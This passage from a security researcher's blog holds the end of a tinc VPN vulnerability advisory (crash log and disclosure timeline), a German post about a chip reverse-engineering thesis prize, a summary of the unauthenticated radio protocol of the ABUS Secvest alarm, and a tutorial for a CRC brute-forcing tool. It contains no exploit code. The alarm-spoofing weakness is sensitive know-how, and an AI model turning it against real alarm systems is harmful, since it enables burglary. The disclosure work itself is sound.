b7748000-b7768000 r-xp 00000000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
b7768000-b7769000 r--p 0001f000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
b7769000-b776a000 rw-p 00020000 08:01 132027     /lib/i386-linux-gnu/ld-2.15.so
bfded000-bfe0e000 rw-p 00000000 00:00 0          [stack]

FreeBSD:

root@freebsd:/root # tincd -D -d 5 -c /usr/local/etc/tinc/
tincd 1.0.19 (Apr  2 2013 18:11:46) starting, debug level 1
Cannot open config file /usr/local/etc/tinc//hosts/testnode3: No such file or directory
/dev/tun0 is a Generic BSD tun device
Listening on :: port 655
Listening on 0.0.0.0 port 655
Ready
Connection from 10.0.0.123 port 48949
Connection with testnode2 (10.0.0.123 port 48949) activated
Got fatal signal 10 (Bus error: 10)
Not restarting.

Timeline

  • 2013-04-11: Informed the author of tinc and initial advisory
  • 2013-04-12: Fix available
  • 2013-04-13: Advisory updated
  • 2013-04-22: New version of tinc published
  • 2013-04-22: Advisory published
  • 2013-12-12: Tobias Ospelt published a metaploit module for exploiting this vulnerability.

Acknowledgment

Many thanks to Guus Sliepen and the Debian Security Team for fixing and coordinating this issue.

Contact

Martin Schobert schobert@sitsec.net

Erster Platz beim Univention Absolventenpreis 2012

May 23, 2012 at 03:00 PM | categories: reverse engineering, degate

Meine Bewerbung für den Univention Absolventenpreis 2012 hatte Erfolg. Heute wurde im Rahmen der Eröffnungsveranstaltung des LinuxTages der fünfte Univention Absolventenpreis vergeben, mit dem Abschlussarbeiten zum Thema Open Source honoriert werden. Ich bewarb mich mit meiner Diplomarbeit „Softwaregestütztes Reverse-Engineering von Logik-Gattern in integrierten Schaltkreisen“, welche ich vor fast einem Jahr bei der Systems Architecture Group der Humboldt-Universität eingereicht habe. Im Kern geht es dabei um Methoden, wie man aus mikroskopischen Aufnahmen von Halbleiterchips Netzlisten zurückgewinnt, um diese dann z. B. auf Sicherheitsmerkmale untersuchen zu können. Diese Methoden sind in der interaktiven Software Degate implementiert, welche mittlerweile auch Thema von Lehrveranstaltungen ist.

Die Jury hat mich mit dem ersten Platz bedacht. Für die Auszeichnung möchte ich mich bei der Jury und der Univention GmbH bedanken.

Links:

Reverse-engineering the ABUS Secvest Wireless Intruder Alarm System's Radio Protocol

May 10, 2012 at 01:00 AM | categories: wireless, reverse engineering

This report documents an analysis of the wireless interface of an ABUS Secvest burglar alarm system. The analysis is based on passively received radio datagrams, which were reverse-engineered. Because the protocol offers no protection mechanism against attacks, the Secvest system cannot grant confidentiality, integrity, and authenticity of communication. This is a security weakness, especially if messages are transmitted via a shared and remotely accessible medium.

Until now there is no public review available in which the effective protection level of the Secvest system is examined. The weak link is the system’s wireless interface: ABUS doesn’t use encryption and message authentication and not even a simple rolling code, which is a common technique even for garage door openers. The lack of protection mechanisms allows an attacker to eavesdrop radio communication and to inject their own datagrams by spoofing addresses of components belonging to an alarm system.

FU8000 radio module

Brute-forcing CRC parameters

February 10, 2012 at 11:20 AM | categories: reverse engineering, tools

Recently, I had to discover the parameters for a cycling redundancy check (CRC) calculation. Because it was the second time within six months that there was a need for determining a CRC polynomial, I implemented a brute-forcing tool. This tool reveals the (truncated) polynomial, the initial value, input and output reflection and a finally applied XOR-mask. Obviously, brute-forcing fails for large polynomials like for a CRC-32, because you have to try different polynomials and initial values. But for smaller CRCs this approach works well. Usually, you do not have truncated polynomials larger than 16, especially not in simple telegrams with some bytes.

What is a truncated polynomial? In general, a polynomial has a grade. E.g., CRC-16-CCITT has a polynomial of grade 16. This is x^16 + x^12+x^5+1. To describe the polynomial by its coefficients the leading digit is often skipped, e.g., 1.0001.0000.0010.0001 becomes 1.0000.0010.0001. Thus, the term truncated polynomial is used to indicate this truncation.

Let’s see how this tool works. In a first step, we generate some test data. Therefore, the tool generate-test-data might be used. It generates some random bit strings and calculates a CRC, which is appended to the string.

$ ./generate-test-data --final-xor 0 --messages 10 | tee testmessage_1
# width                    : 10 bits
# CRC's offset             : 49
# calc CRC for bit offsets : 0 .. 49 (not included)
# final XOR                : 0
# reflect in               : true
# reflect out              : false
# 
# truncated polynom        : 189 (MSB not shown)
# initial value            : 149

0110110010000011101000011000110101111000000000100 1111111010
0001000000001100101100100110011011111100000110100 0101000101
1101011100111000110110110010111011110110101001001 0011100111
0100000011100011110000100111010001101100010010011 0110100011
0110110000010111010110011001010011100101110000101 1100000001
0110101000000111010111101101001000110010100111110 1011001001
1000101011110110010100001110001111101110000011000 1000010010
0110111010111000011100100111110101110101111011010 1001111001
1001101001111000010110001000011101110000111001001 0101110000
1101110110101001101001110010011101010001110000110 0000110111

Here, the bit string starts at offset 0 and ends at offset 49. Please note, that these are not the common eight bits per byte. I avoided this byte-centric view, because in low-level reverse engineering messages might be odd-formed, especially when analyzing radio transmission.

In a second step, these test messages are reformatted to fit the brute-forcing tool’s input format. Therefore, I wrote a script in Perl. It reads bit strings (“101001…”), hex strings (“0xdeadbeef…”) and comma-separated lists of hex values (“0x23, 0x42, 0x5”) and reformats them to either a hex or a bit string.

$ perl ../rewrite-as.pl bits testmessage_1 | tee testmessage_1.bits
01101100100000111010000110001101011110000000001001111111010
00010000000011001011001001100110111111000001101000101000101
11010111001110001101101100101110111101101010010010011100111
01000000111000111100001001110100011011000100100110110100011
01101100000101110101100110010100111001011100001011100000001
01101010000001110101111011010010001100101001111101011001001
10001010111101100101000011100011111011100000110001000010010
01101110101110000111001001111101011101011110110101001111001
10011010011110000101100010000111011100001110010010101110000
11011101101010011010011100100111010100011100001100000110111

Finally, we launch the CRC brute-forcing tool, which requires specifying several offsets: The tool needs to know, where the message’s CRC relevant portion starts and stops and where the checksum is placed. When reverse engineering a telegram format, one might determine the checksum part without problems. This is caused by the CRC algorithm’s property that it is a Galois type shift register, which produces pseudo-random numbers. But it loops not on its own. Instead the algorithm is fed with message bits. Thus, the checksum looks more random than the rest of the message.

$ ./bruteforce-crc --width 10 --start 0 --end 49 --offs-crc 49 \
       --file testmessage_1.bits --probe-reflections true 
number of threads        : 4
width                    : 10 bits
CRC's offset             : 49
calc CRC for bit offsets : 0 .. 49 (not included)
final XOR                : 0
reflect in               : false
reflect out              : false

truncated polynom        : from 0 to 1023 (MSB not shown)
initial value            : from 0 to 1023
probe reflections        : true
probe final xor          : false

extracted crc 03fa
extracted crc 0145
extracted crc 00e7
extracted crc 01a3
extracted crc 0301
extracted crc 02c9
extracted crc 0212
extracted crc 0279
extracted crc 0170
extracted crc 0037
----------------------[ MATCH ]--------------------------------
Found a model for the CRC calculation:
Truncated polynom : 0xbd (189)
Initial value     : 0x95 (149)
Final XOR         : 0x0 (0)
Reflected input   : false
Reflected output  : false
Message offset    : from bit 0 .. 49 (end not included)

The brute-forcing tool extracts the checksum field at the specified offset and compares the calculated CRCs with the extracted CRCs. If a CRC matches the extracted one, the tool continues with testing the other messages. And finally, if a CRC parameter set satisfies all messages a CRC model is found.

If you have to reverse engineer an undocumented bus-protocol or some radio messages and don’t want to reconstruct the CRC parameters by putting on one's thinking cap, you might need such a tool, too. Therefore, I published the code on github.com.

Further readings:

Next Page »